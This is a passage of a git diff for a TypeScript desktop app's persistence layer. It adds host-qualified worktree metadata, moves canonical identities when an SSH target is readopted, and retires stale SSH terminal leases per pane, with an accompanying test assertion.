     expect(session.activeTabTypeByWorktree?.[NEW]).toBe('browser')
     expect(session.activeWorktreeId).toBe(NEW)
diff --git a/src/main/persistence-repo-lifecycle.test.ts b/src/main/persistence-repo-lifecycle.test.ts
index e27287c147e..53b759a7d01 100644
--- a/src/main/persistence-repo-lifecycle.test.ts
+++ b/src/main/persistence-repo-lifecycle.test.ts
@@ -395,6 +395,12 @@ describe('Store', () => {
     // Local worktree meta survives; the SSH host's meta is pruned.
     expect(store.getWorktreeMeta('shared::/local/repo/wt')).toBeDefined()
     expect(store.getWorktreeMeta('shared::/remote/repo/wt')).toBeUndefined()
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    const identityMetadata = Object.values(persisted.worktreeMetaByIdentity ?? {})
+    expect(identityMetadata).toEqual([
+      expect.objectContaining({ hostId: 'local', displayName: 'local-wt' })
+    ])
   })
 
   it('removeProjectForHost keeps the surviving host session for a shared repo id + path', async () => {
diff --git a/src/main/persistence/host-qualified-worktree-meta.ts b/src/main/persistence/host-qualified-worktree-meta.ts
new file mode 100644
index 00000000000..a9d1c0e8fb1
--- /dev/null
+++ b/src/main/persistence/host-qualified-worktree-meta.ts
@@ -0,0 +1,65 @@
+import type { ExecutionHostId } from '../../shared/execution-host'
+import type { WorktreeMeta } from '../../shared/worktree/meta-types'
+
+/**
+ * The listing paths take partial store shapes (`Pick<Store, ...>`), so the
+ * host-qualified accessors are optional here and fall back to the locator-keyed
+ * ones. A real Store always has them.
+ */
+export type HostQualifiedWorktreeMetaStore = {
+  getAllWorktreeMeta: () => Record<string, WorktreeMeta>
+  getWorktreeMetaForHost?: (
+    worktreeId: string,
+    executionHostId: ExecutionHostId
+  ) => WorktreeMeta | undefined
+  getAllWorktreeMetaForHost?: (executionHostId: ExecutionHostId) => Record<string, WorktreeMeta>
+  setWorktreeMeta: (worktreeId: string, meta: Partial<WorktreeMeta>) => WorktreeMeta
+  setWorktreeMetaForHost?: (
+    worktreeId: string,
+    executionHostId: ExecutionHostId,
+    meta: Partial<WorktreeMeta>
+  ) => WorktreeMeta
+}
+
+/** Canonical host snapshot, with a filtered legacy fallback for partial test/compatibility stores. */
+export function readAllWorktreeMetaForHost(
+  store: Pick<HostQualifiedWorktreeMetaStore, 'getAllWorktreeMeta' | 'getAllWorktreeMetaForHost'>,
+  executionHostId: ExecutionHostId
+): Record<string, WorktreeMeta> {
+  const qualified = store.getAllWorktreeMetaForHost?.(executionHostId)
+  if (qualified) {
+    return qualified
+  }
+  const projected: Record<string, WorktreeMeta> = {}
+  for (const [worktreeId, meta] of Object.entries(store.getAllWorktreeMeta())) {
+    if (!meta.hostId || meta.hostId === executionHostId) {
+      projected[worktreeId] = meta
+    }
+  }
+  return projected
+}
+
+/**
+ * The row this host owns at `worktreeId`, or undefined. Deliberately does NOT fall back to the
+ * locator-keyed read: that would hand one host's metadata to another's row, which is the collision
+ * every caller here is trying to avoid. Callers keep their own same-id ownership guard as fallback.
+ */
+export function readWorktreeMetaForHost(
+  store: Pick<HostQualifiedWorktreeMetaStore, 'getWorktreeMetaForHost'>,
+  worktreeId: string,
+  executionHostId: ExecutionHostId
+): WorktreeMeta | undefined {
+  return store.getWorktreeMetaForHost?.(worktreeId, executionHostId)
+}
+
+export function writeWorktreeMetaForHost(
+  store: Pick<HostQualifiedWorktreeMetaStore, 'setWorktreeMeta' | 'setWorktreeMetaForHost'>,
+  worktreeId: string,
+  executionHostId: ExecutionHostId,
+  meta: Partial<WorktreeMeta>
+): WorktreeMeta {
+  return (
+    store.setWorktreeMetaForHost?.(worktreeId, executionHostId, meta) ??
+    store.setWorktreeMeta(worktreeId, { ...meta, hostId: executionHostId })
+  )
+}
diff --git a/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts b/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts
new file mode 100644
index 00000000000..f9d3228d924
--- /dev/null
+++ b/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts
@@ -0,0 +1,128 @@
+import { randomUUID } from 'node:crypto'
+import { isDeepStrictEqual } from 'node:util'
+import type { ExecutionHostId } from '../../../shared/execution-host'
+import type { PersistedState } from '../../../shared/persisted-state-types'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
+import { canonicalWorktreeIdentity } from '../../../shared/worktree/identity'
+import {
+  composeWorktreeHostIdentity,
+  getExecutionHostIdFromWorktreeHostIdentity,
+  getWorktreeIdFromHostIdentity
+} from '../../../shared/worktree/host-qualified-identity'
+
+type IdentityMove = {
+  sourceKey: string
+  nextKey: string
+  instanceId: string
+  sourceMeta: WorktreeMeta
+  nextMeta: WorktreeMeta
+}
+
+type AliasMove = {
+  oldAlias: string
+  nextAlias: string
+  identities: IdentityMove[]
+}
+
+/** Move canonical aliases only after every destination occupant is proven compatible. */
+export function reassignCanonicalWorktreeMetadataHost(
+  state: PersistedState,
+  oldHostId: ExecutionHostId,
+  newHostId: ExecutionHostId
+): { changed: boolean; preservedWorktreeIds: ReadonlySet<string> } {
+  const aliases = state.worktreeIdentityAliases ?? {}
+  const identityMeta = state.worktreeMetaByIdentity ?? {}
+  const repairedInstanceIds = new Map<string, string>()
+  const plans: AliasMove[] = []
+
+  for (const [oldAlias, rawKeys] of Object.entries(aliases)) {
+    if (getExecutionHostIdFromWorktreeHostIdentity(oldAlias) !== oldHostId) {
+      continue
+    }
+    const worktreeId = getWorktreeIdFromHostIdentity(oldAlias)
+    if (!worktreeId || rawKeys.length === 0) {
+      continue
+    }
+    const identities: IdentityMove[] = []
+    let safe = true
+    for (const sourceKey of new Set(rawKeys)) {
+      const sourceMeta = identityMeta[sourceKey]
+      if (!sourceMeta) {
+        safe = false
+        break
+      }
+      let instanceId = sourceMeta.instanceId ?? repairedInstanceIds.get(sourceKey)
+      if (instanceId === undefined) {
+        instanceId = randomUUID()
+        repairedInstanceIds.set(sourceKey, instanceId)
+      }
+      const nextKey = canonicalWorktreeIdentity({
+        worktreeId,
+        executionHostId: newHostId,
+        instanceId
+      })
+      const nextMeta = { ...sourceMeta, instanceId, hostId: newHostId }
+      const duplicate = identities.find((identity) => identity.nextKey === nextKey)
+      if (duplicate && !isDeepStrictEqual(duplicate.nextMeta, nextMeta)) {
+        safe = false
+        break
+      }
+      if (!duplicate) {
+        identities.push({ sourceKey, nextKey, instanceId, sourceMeta, nextMeta })
+      }
+    }
+    if (!safe) {
+      continue
+    }
+
+    const nextAlias = composeWorktreeHostIdentity(newHostId, worktreeId)
+    const candidateKeys = new Set(identities.map((identity) => identity.nextKey))
+    if ((aliases[nextAlias] ?? []).some((key) => !candidateKeys.has(key))) {
+      continue
+    }
+    if (
+      identities.some((identity) => {
+        const existing = identityMeta[identity.nextKey]
+        return existing !== undefined && !isDeepStrictEqual(existing, identity.nextMeta)
+      })
+    ) {
+      continue
+    }
+    plans.push({ oldAlias, nextAlias, identities })
+  }
+
+  if (plans.length > 0) {
+    state.worktreeIdentityAliases ??= {}
+    state.worktreeMetaByIdentity ??= {}
+    for (const plan of plans) {
+      for (const identity of plan.identities) {
+        identity.sourceMeta.instanceId ??= identity.instanceId
+        state.worktreeMetaByIdentity[identity.nextKey] ??= identity.nextMeta
+      }
+      state.worktreeIdentityAliases[plan.nextAlias] = [
+        ...new Set([
+          ...(state.worktreeIdentityAliases[plan.nextAlias] ?? []),
+          ...plan.identities.map((identity) => identity.nextKey)
+        ])
+      ]
+      delete state.worktreeIdentityAliases[plan.oldAlias]
+    }
+
+    const referenced = new Set(Object.values(state.worktreeIdentityAliases).flat())
+    for (const sourceKey of new Set(
+      plans.flatMap((plan) => plan.identities.map((identity) => identity.sourceKey))
+    )) {
+      if (!referenced.has(sourceKey)) {
+        delete state.worktreeMetaByIdentity[sourceKey]
+      }
+    }
+  }
+
+  const preservedWorktreeIds = new Set<string>()
+  for (const alias of Object.keys(state.worktreeIdentityAliases ?? {})) {
+    if (getExecutionHostIdFromWorktreeHostIdentity(alias) === oldHostId) {
+      preservedWorktreeIds.add(getWorktreeIdFromHostIdentity(alias))
+    }
+  }
+  return { changed: plans.length > 0, preservedWorktreeIds }
+}
diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts
index 2662f7f02da..2759797c442 100644
--- a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts
+++ b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts
@@ -1,16 +1,94 @@
+import { toSshExecutionHostId } from '../../../shared/execution-host'
 import type { PersistedState } from '../../../shared/persisted-state-types'
 import type { SshRemotePtyLease } from '../../../shared/ssh-types'
 import { isTerminalLeafId } from '../../../shared/stable-pane-id'
+import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types'
 
 export type SshPtyLeaseOperations = {
   state: PersistedState
   toStoredPtyId: (targetId: string, ptyId: string) => string
+  toComparablePtyId: (targetId: string, ptyId: string) => string
   clearBindingsForTarget: (targetId: string) => void
   clearBindingsForLeases: (targetId: string, leases: SshRemotePtyLease[]) => boolean
   flush: () => void
   flushDurableStateOrThrowAsync: () => Promise<void>
 }
 
+/**
+ * The PTY a pane is durably bound to, keyed on the leaf alone — the only remint-stable half of a
+ * pane key, since `detachTerminalPaneToTab` moves a live pane and leaves its lease naming the tab
+ * it left.
+ *
+ * Reads both partitions deliberately. Main writes some SSH pane bindings to `ssh:<target>` and
+ * some to `local`, so a reader that consulted one would see "unbound" for a live pane and expire
+ * its lease. Reading both makes this fence correct whichever partition the binding landed in.
+ */
+function durablyBoundPtyIdForPane(
+  operations: SshPtyLeaseOperations,
+  targetId: string,
+  leafId: string
+): string | undefined {
+  const findLeafBinding = (session: WorkspaceSessionState | undefined): string | undefined =>
+    Object.values(session?.terminalLayoutsByTabId ?? {}).find(
+      (layout) => layout?.ptyIdsByLeafId?.[leafId]
+    )?.ptyIdsByLeafId?.[leafId]
+  const boundPtyId =
+    findLeafBinding(operations.state.workspaceSession) ??
+    findLeafBinding(operations.state.workspaceSessionsByHostId?.[toSshExecutionHostId(targetId)])
+  return boundPtyId ? operations.toComparablePtyId(targetId, boundPtyId) : undefined
+}
+
+/**
+ * One pane owns at most one live remote PTY. Lease identity is `(targetId, ptyId)` alone, so a
+ * pane re-leasing under a new relay id leaves its predecessor live with nothing to retire it and
+ * the next reattach fans out over both — the reported 2 -> 19 -> 20 across three reconnects.
+ *
+ * Superseded leases are marked `expired`, never `terminated`: losing a lease is not evidence the
+ * shell died, so the remote process is deliberately left running.
+ */
+function supersedeSiblingLeasesForPane(
+  operations: SshPtyLeaseOperations,
+  winner: SshRemotePtyLease,
+  now: number
+): void {
+  if (!winner.worktreeId || !winner.leafId) {
+    return
+  }
+  if (winner.state === 'terminated' || winner.state === 'expired') {
+    return
+  }
+  // At upsert time the arriving lease may not be the one the pane is bound to yet. Expiring the
+  // bound predecessor would detach a live pane, so leave both live and let reattach arbitrate
+  // with the binding in hand.
+  const boundPtyId = durablyBoundPtyIdForPane(operations, winner.targetId, winner.leafId)
+  if (boundPtyId && boundPtyId !== winner.ptyId) {
+    return
+  }
+  const superseded: SshRemotePtyLease[] = []
+  for (const lease of operations.state.sshRemotePtyLeases ?? []) {
+    if (
+      lease.ptyId === winner.ptyId ||
+      lease.targetId !== winner.targetId ||
+      lease.worktreeId !== winner.worktreeId ||
+      // Leaf only: a lease freezes its tabId, so a pane broken out into a new tab would otherwise
+      // never compete with its own predecessor — which is the reported cardinality growth.
+      lease.leafId !== winner.leafId ||
+      lease.state === 'terminated' ||
+      lease.state === 'expired'
+    ) {
+      continue
+    }
+    lease.state = 'expired'
+    lease.updatedAt = now
+    superseded.push(lease)
+  }
+  if (superseded.length > 0) {
+    // Why: matching on lease ptyId first means this scrubs only the predecessor's stale binding —
+    // the winner's own binding cannot match and is left intact.
+    operations.clearBindingsForLeases(winner.targetId, superseded)
+  }
+}
+
 export function getSshRemotePtyLeases(
   state: PersistedState,
   targetId?: string
@@ -37,6 +115,11 @@ export function upsertSshRemotePtyLease(
   )
   const existing =
     existingIndex !== -1 ? operations.state.sshRemotePtyLeases[existingIndex] : undefined
+  // NOTE: a relay numbers its PTYs from `pty-1` on every start, so after a relay restart this
+  // match can be an id RECYCLED onto a different shell rather than the same lease. When the
+  // caller names its own pane the merge below overwrites the stale identity; when it omits those
+  // fields (both spawn callers do, conditionally) the stale pane survives. Distinguishing the two
+  // needs a relay-start identity the lease does not carry — see STA-3077 notes before adding one.
   // Why: callers pass optional fields as explicit `undefined`, which would blank the stored tabId/leafId
   // (and friends) when re-upserting an existing lease.
   const definedLease = Object.fromEntries(
@@ -53,6 +136,7 @@ export function upsertSshRemotePtyLease(
   } else {
     operations.state.sshRemotePtyLeases.push(next)
   }
+  supersedeSiblingLeasesForPane(operations, next, now)
   operations.flush()
 }
 
diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts b/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts
index 919e4996486..c996dc445f2 100644
--- a/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts
+++ b/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts
@@ -17,6 +17,7 @@ import {
   migrateAutomationsForSshReadoption
 } from '../../automations/automation-ssh-readoption-migration'
 import { automationIdsPinnedToSshTarget } from '../scheduling-automations/automation-owner-projection'
+import { reassignCanonicalWorktreeMetadataHost } from './canonical-worktree-host-reassignment'
 
 export type SshTargetReassignmentOperations = {
   state: PersistedState
@@ -80,10 +81,16 @@ export function reassignSshTargetId(
     }
     repoIds.add(repo.id)
   }
-  // Re-point worktree metas whose hostId pointed at the old SSH host.
+  // Legacy locator rows cannot recover canonical-only metadata after target readoption.
+  const identityResult = reassignCanonicalWorktreeMetadataHost(
+    operations.state,
+    oldHostId,
+    newHostId
+  )
+  // Re-point legacy rows unless a conflicting destination kept their canonical source in place.
   let metaChanged = false
-  for (const meta of Object.values(operations.state.worktreeMeta)) {
-    if (meta.hostId === oldHostId) {
+  for (const [worktreeId, meta] of Object.entries(operations.state.worktreeMeta)) {
+    if (meta.hostId === oldHostId && !identityResult.preservedWorktreeIds.has(worktreeId)) {
       meta.hostId = newHostId
       metaChanged = true
     }
@@ -175,7 +182,13 @@ export function reassignSshTargetId(
   if (repoIds.size > 0 || setupsChanged) {
     operations.syncProjectHostSetupCompatibilityState()
   }
-  if (repoIds.size > 0 || metaChanged || carrierChanged || setupsChanged) {
+  if (
+    repoIds.size > 0 ||
+    metaChanged ||
+    carrierChanged ||
+    setupsChanged ||
+    identityResult.changed
+  ) {
     // The rewrites above patch rows in place; the list projection caches on array
     // identity, so a same-identity array would keep serving pre-readoption owners.
     operations.state.repos = [...operations.state.repos]
diff --git a/src/main/persistence/loading-store/metadata-lineage-operations.ts b/src/main/persistence/loading-store/metadata-lineage-operations.ts
index 056991dd1f4..f12af5d1583 100644
--- a/src/main/persistence/loading-store/metadata-lineage-operations.ts
+++ b/src/main/persistence/loading-store/metadata-lineage-operations.ts
@@ -1,45 +1,14 @@
-import { randomUUID } from 'node:crypto'
 import type { WorkspaceKey } from '../../../shared/folder-workspace-types'
 import type { WorkspaceLineage, WorktreeLineage } from '../../../shared/worktree/lineage-types'
 import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
-import { normalizeStoredTaskSourceContext } from '../../../shared/task-source-context'
-import { normalizeWorkspaceLinkedItem } from '../../../shared/workspace-linked-item'
-import { isWorkspaceLinkedItemSourceContextMatch } from '../../../shared/workspace-linked-item-source-context'
-import type { ExecutionHostId } from '../../../shared/execution-host'
+import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host'
 import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id'
 import { hasWorktreeRemovalRepoOwnerOnOtherHost } from '../../worktree-removal-repo-owner'
-import { DEFAULT_WORKSPACE_STATUS_ID } from '../../../shared/workspace-statuses'
 import { folderWorkspaceKey, worktreeWorkspaceKey } from '../../../shared/workspace-scope'
 import {
   workspaceSessionOwnerPartitionForHost,
   workspaceSessionPartitionIdsForHost
 } from '../restoring-sessions/session-owner-removal'
-import { migrateWorktreeIdentity as migrateWorktreeIdentityOperation } from '../tracking-repos/worktree-identity-migration'
-
-function getDefaultWorktreeMeta(): WorktreeMeta {
-  return {
-    instanceId: randomUUID(),
-    displayName: '',
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    linkedGitLabMR: null,
-    linkedGitLabIssue: null,
-    linkedBitbucketPR: null,
-    linkedAzureDevOpsPR: null,
-    linkedGiteaPR: null,
-    linkedWorkItem: null,
-    linkedTaskSourceContext: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: Date.now(),
-    lastActivityAt: 0,
-    workspaceStatus: DEFAULT_WORKSPACE_STATUS_ID
-  }
-}
-
 import type { StoreRuntimeState } from './store-runtime-state'
 import type { WriteSchedulingOperations } from './write-scheduling'
 import type { SessionHostPartitionOperations } from './session-host-partitions'
@@ -50,6 +19,15 @@ import {
   partitionHasOtherRepoWorktreeTabs,
   removeWorkspaceSessionOwnerInPartition
 } from './session-host-partitions'
+import { migrateWorktreeIdentity as migrateWorktreeIdentityOperation } from '../tracking-repos/worktree-identity-migration'
+import {
+  getAllWorktreeMetaForHost as getAllWorktreeMetaForHostOperation,
+  getWorktreeMetaForHost as getWorktreeMetaForHostOperation,
+  migrateWorktreeMetadataLocator,
+  removeWorktreeMetadataForHost,
+  setWorktreeMetaForHost as setWorktreeMetaForHostOperation
+} from './worktree-identity-metadata'
+import { mergeWorktreeMetaForWrite } from './worktree-meta-write-normalization'
 
 type MetadataLineageOperationsRuntime = Pick<StoreRuntimeState, 'state'>
 
@@ -70,34 +48,62 @@ export class MetadataLineageOperations {
   ) {
     this[metadataLineageOperationsContext] = { runtime, scheduling, sessions }
   }
-
   getWorktreeMeta(worktreeId: string): WorktreeMeta | undefined {
     return this[metadataLineageOperationsContext].runtime.state.worktreeMeta[worktreeId]
   }
 
+  getWorktreeMetaForHost(
+    worktreeId: string,
+    executionHostId: ExecutionHostId
+  ): WorktreeMeta | undefined {
+    return getWorktreeMetaForHostOperation(
+      this[metadataLineageOperationsContext].runtime,
+      this[metadataLineageOperationsContext].scheduling,
+      worktreeId,
+      executionHostId
+    )
+  }
+
+  setWorktreeMetaForHost(
+    worktreeId: string,
+    executionHostId: ExecutionHostId,
+    meta: Partial<WorktreeMeta>
+  ): WorktreeMeta {
+    return setWorktreeMetaForHostOperation(
+      this[metadataLineageOperationsContext].runtime,
+      this[metadataLineageOperationsContext].scheduling,
+      worktreeId,
+      executionHostId,
+      meta
+    )
+  }
+
   getAllWorktreeMeta(): Record<string, WorktreeMeta> {
     return this[metadataLineageOperationsContext].runtime.state.worktreeMeta
   }
 
+  getAllWorktreeMetaForHost(executionHostId: ExecutionHostId): Record<string, WorktreeMeta> {
+    return getAllWorktreeMetaForHostOperation(
+      this[metadataLineageOperationsContext].runtime,
+      executionHostId
+    )
+  }
+
   setWorktreeMeta(worktreeId: string, meta: Partial<WorktreeMeta>): WorktreeMeta {
-    const existing =
-      this[metadataLineageOperationsContext].runtime.state.worktreeMeta[worktreeId] ||
-      getDefaultWorktreeMeta()
-    const updated = { ...existing, ...meta }
-    updated.linkedWorkItem = normalizeWorkspaceLinkedItem(updated.linkedWorkItem)
-    const linkedTaskSourceContext = normalizeStoredTaskSourceContext(
-      updated.linkedTaskSourceContext
-    )
-    updated.linkedTaskSourceContext = isWorkspaceLinkedItemSourceContextMatch(
-      updated.linkedWorkItem,
-      linkedTaskSourceContext
-    )
-      ? linkedTaskSourceContext
-      : null
-    if (!updated.instanceId) {
-      updated.instanceId = randomUUID()
+    const state = this[metadataLineageOperationsContext].runtime.state
+    const stored = state.worktreeMeta[worktreeId]
+    const executionHostId = meta.hostId ?? stored?.hostId
+    if (executionHostId) {
+      return setWorktreeMetaForHostOperation(
+        this[metadataLineageOperationsContext].runtime,
+        this[metadataLineageOperationsContext].scheduling,
+        worktreeId,
+        executionHostId,
+        meta
+      )
     }
-    this[metadataLineageOperationsContext].runtime.state.worktreeMeta[worktreeId] = updated
+    const updated = mergeWorktreeMetaForWrite(stored, meta)
+    state.worktreeMeta[worktreeId] = updated
     scheduleSave(this[metadataLineageOperationsContext].scheduling)
     return updated
   }
@@ -120,6 +126,13 @@ export class MetadataLineageOperations {
           ownerPartition
         ))
     )
+    // Mirror the legacy delete's scope below: a full removal takes every host's identity rows,
+    // otherwise the surviving owner keeps its own.
+    removeWorktreeMetadataForHost(
+      this[metadataLineageOperationsContext].runtime.state,
+      worktreeId,
+      hostId === undefined ? undefined : (hostId ?? undefined)
+    )
     // Skip partitions main never wrote: materializing one fences every sibling worktree of the repo.
     const partitions = new Set<ExecutionHostId>(
       workspaceSessionPartitionIdsForHost(owner).filter(
@@ -190,14 +203,27 @@ export class MetadataLineageOperations {
     scheduleSave(this[metadataLineageOperationsContext].scheduling)
   }
 
-  migrateWorktreeIdentity(oldWorktreeId: string, newWorktreeId: string): void {
-    if (
-      migrateWorktreeIdentityOperation(
-        this[metadataLineageOperationsContext].runtime.state,
-        oldWorktreeId,
-        newWorktreeId
-      )
-    ) {
+  migrateWorktreeIdentity(
+    oldWorktreeId: string,
+    newWorktreeId: string,
+    executionHostId?: ExecutionHostId
+  ): void {
+    const state = this[metadataLineageOperationsContext].runtime.state
+    const persistedOwner = state.worktreeMeta[oldWorktreeId]?.hostId
+    const mover = executionHostId ?? persistedOwner ?? LOCAL_EXECUTION_HOST_ID
+    const legacyChanged =
+      executionHostId !== undefined &&
+      persistedOwner !== undefined &&
+      persistedOwner !== executionHostId
+        ? false
+        : migrateWorktreeIdentityOperation(state, oldWorktreeId, newWorktreeId)
+    const canonicalChanged = migrateWorktreeMetadataLocator(
+      state,
+      oldWorktreeId,
+      newWorktreeId,
+      mover
+    )
+    if (legacyChanged || canonicalChanged) {
       scheduleSave(this[metadataLineageOperationsContext].scheduling)
     }
   }
diff --git a/src/main/persistence/loading-store/pty-binding-persistence.ts b/src/main/persistence/loading-store/pty-binding-persistence.ts
index 3c5ff20c480..6895cf6c5da 100644
--- a/src/main/persistence/loading-store/pty-binding-persistence.ts
+++ b/src/main/persistence/loading-store/pty-binding-persistence.ts
@@ -46,6 +46,13 @@ export class PtyBindingPersistenceOperations {
       expectedSourceBinding?: PtyBindingSourceExpectation
       /** Set by host-initiated creates, which have no renderer session writer behind them. */
       hostAdmittedMembership?: boolean
+      /**
+       * Defaults true, which is what `pty:spawn` needs — it can beat the debounced layout writer
+       * and must be able to mint the surface it is binding. A reattach is the opposite: the pane
+       * either still exists or the user closed it, so creating one grafts back a tab they closed.
+       * Callers pass false only once absence is meaningful; see the relay's reattach bind.
+       */
+      mayCreate?: boolean
     },
     hostId?: string | null
   ): boolean {
@@ -87,6 +94,24 @@ export class PtyBindingPersistenceOperations {
         return false
       }
     }
+    // Decided before any mutation so a refusal leaves nothing half-written. Mirrors the four
+    // creating branches below — mint a tab, mint a root leaf, split the root and graft a leaf,
+    // mint a layout — each of which sets `terminalMembershipChanged`.
+    if (args.mayCreate === false) {
+      const existingTab = session.tabsByWorktree?.[bindingWorktreeId]?.find(
+        (candidate) => candidate.id === args.tabId
+      )
+      const existingLayout = session.terminalLayoutsByTabId?.[args.tabId]
+      const wouldCreateTopology =
+        !existingTab ||
+        (isTerminalLeafId(args.leafId) &&
+          (!existingLayout ||
+            !existingLayout.root ||
+            !layoutContainsLeafId(existingLayout.root, args.leafId)))
+      if (wouldCreateTopology) {
+        return false
+      }
+    }
     if (resolvedHostId !== LOCAL_EXECUTION_HOST_ID) {
       this[ptyBindingPersistenceOperationsContext].runtime.state.workspaceSessionsByHostId = {
         ...this[ptyBindingPersistenceOperationsContext].runtime.state.workspaceSessionsByHostId,
diff --git a/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts b/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
index e7cea585765..c8e07940e87 100644
--- a/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
+++ b/src/main/persistence/loading-store/ssh-lease-recovery-operations.ts
@@ -155,6 +155,11 @@ export function getSshPtyLeaseOperations(owner: SshLeaseRecoveryOperations): Ssh
         targetId,
         ptyId
       ),
+    toComparablePtyId: (targetId, ptyId) =>
+      owner[sshLeaseRecoveryOperationsContext].bindingRecovery.getRelayPtyIdForSshLeaseComparison(
+        targetId,
+        ptyId
+      ),
     clearBindingsForTarget: (targetId) =>
       clearSshRemotePtyBindingsForTargetOperation(
         getSshPtyBindingCleanupOperations(owner),
diff --git a/src/main/persistence/loading-store/worktree-identity-metadata.ts b/src/main/persistence/loading-store/worktree-identity-metadata.ts
new file mode 100644
index 00000000000..396c2ffae85
--- /dev/null
+++ b/src/main/persistence/loading-store/worktree-identity-metadata.ts
@@ -0,0 +1,236 @@
+import { randomUUID } from 'node:crypto'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
+import type { ExecutionHostId } from '../../../shared/execution-host'
+import { canonicalWorktreeIdentity } from '../../../shared/worktree/identity'
+import {
+  composeWorktreeHostIdentity,
+  getExecutionHostIdFromWorktreeHostIdentity,
+  getWorktreeIdFromHostIdentity
+} from '../../../shared/worktree/host-qualified-identity'
+import type { PersistedState } from '../../../shared/persisted-state-types'
+import type { StoreRuntimeState } from './store-runtime-state'
+import type { WriteSchedulingOperations } from './write-scheduling'
+import { scheduleSave } from './write-scheduling'
+import { mergeWorktreeMetaForWrite } from './worktree-meta-write-normalization'
+
+type MetadataRuntime = Pick<StoreRuntimeState, 'state'>
+
+/** Select one readable row without discarding competing alias candidates. */
+function resolveAliasIdentityKey(state: PersistedState, alias: string): string | undefined {
+  const identityKeys = state.worktreeIdentityAliases?.[alias] ?? []
+  if (identityKeys.length === 0) {
+    return undefined
+  }
+  const resolvable = identityKeys.filter((key) => state.worktreeMetaByIdentity?.[key])
+  const candidates = resolvable.length > 0 ? resolvable : identityKeys
+  // Newest activity wins, then the greater key, so every host agrees on the survivor.
+  const winner = candidates.reduce((best, key) => {
+    const bestTouch = state.worktreeMetaByIdentity?.[best]?.lastActivityAt ?? 0
+    const keyTouch = state.worktreeMetaByIdentity?.[key]?.lastActivityAt ?? 0
+    if (keyTouch !== bestTouch) {
+      return keyTouch > bestTouch ? key : best
+    }
+    return key > best ? key : best
+  })
+  return winner
+}
+
+/** Drop identity metadata no alias points at any more. */
+export function pruneUnreferencedWorktreeIdentityMeta(state: PersistedState): boolean {
+  const referenced = new Set(Object.values(state.worktreeIdentityAliases ?? {}).flat())
+  let changed = false
+  for (const identityKey of Object.keys(state.worktreeMetaByIdentity ?? {})) {
+    if (!referenced.has(identityKey)) {
+      delete state.worktreeMetaByIdentity?.[identityKey]
+      changed = true
+    }
+  }
+  return changed
+}
+
+function migrateLegacyWorktreeMetadata(
+  state: PersistedState,
+  worktreeId: string,
+  executionHostId: ExecutionHostId
+): boolean {
+  const meta = state.worktreeMeta[worktreeId]
+  if (!meta || (meta.hostId !== undefined && meta.hostId !== executionHostId)) {
+    return false
+  }
+  state.worktreeMetaByIdentity ??= {}
+  state.worktreeIdentityAliases ??= {}
+  let changed = false
+  const instanceId = meta.instanceId ?? randomUUID()
+  if (!meta.instanceId) {
+    meta.instanceId = instanceId
+    changed = true
+  }
+  if (!meta.hostId) {
+    meta.hostId = executionHostId
+    changed = true
+  }
+  const identityKey = canonicalWorktreeIdentity({
+    worktreeId,
+    executionHostId,
+    instanceId
+  })
+  if (!state.worktreeMetaByIdentity[identityKey]) {
+    state.worktreeMetaByIdentity[identityKey] = {
+      ...meta,
+      instanceId,
+      hostId: executionHostId
+    }
+    changed = true
+  }
+  const alias = composeWorktreeHostIdentity(executionHostId, worktreeId)
+  const aliases = state.worktreeIdentityAliases[alias] ?? []
+  if (aliases.length === 0) {
+    state.worktreeIdentityAliases[alias] = [identityKey]
+    changed = true
+  }
+  return changed
+}
+
+/** Drop the identity rows a locator owns, for one host or for every host. */
+export function removeWorktreeMetadataForHost(
+  state: PersistedState,
+  worktreeId: string,
+  executionHostId: ExecutionHostId | undefined
+): boolean {
+  let changed = false
+  for (const alias of Object.keys(state.worktreeIdentityAliases ?? {})) {
+    if (getWorktreeIdFromHostIdentity(alias) !== worktreeId) {
+      continue
+    }
+    if (
+      executionHostId !== undefined &&
+      getExecutionHostIdFromWorktreeHostIdentity(alias) !== executionHostId
+    ) {
+      continue
+    }
+    delete state.worktreeIdentityAliases?.[alias]
+    changed = true
+  }
+  return pruneUnreferencedWorktreeIdentityMeta(state) || changed
+}
+
+/**
+ * Re-point one host's alias at a renamed locator. Host-scoped on purpose: a local
+ * folder move must not drag a remote host's alias to a path that host does not have.
+ */
+export function migrateWorktreeMetadataLocator(
+  state: PersistedState,
+  oldWorktreeId: string,
+  newWorktreeId: string,
+  executionHostId: ExecutionHostId
+): boolean {
+  if (oldWorktreeId === newWorktreeId) {
+    return false
+  }
+  const oldAlias = composeWorktreeHostIdentity(executionHostId, oldWorktreeId)
+  const identityKeys = state.worktreeIdentityAliases?.[oldAlias]
+  if (!identityKeys || identityKeys.length === 0) {
+    return false
+  }
+  const newAlias = composeWorktreeHostIdentity(executionHostId, newWorktreeId)
+  state.worktreeIdentityAliases ??= {}
+  // A taken destination keeps its own occupant; stranding the mover at the old locator loses less
+  // than merging (which makes both unreadable) or dropping its row outright.
+  if ((state.worktreeIdentityAliases[newAlias] ?? []).length > 0) {
+    return false
+  }
+  state.worktreeIdentityAliases[newAlias] = [...identityKeys]
+  delete state.worktreeIdentityAliases[oldAlias]
+  return true
+}
+export function getWorktreeMetaForHost(
+  runtime: MetadataRuntime,
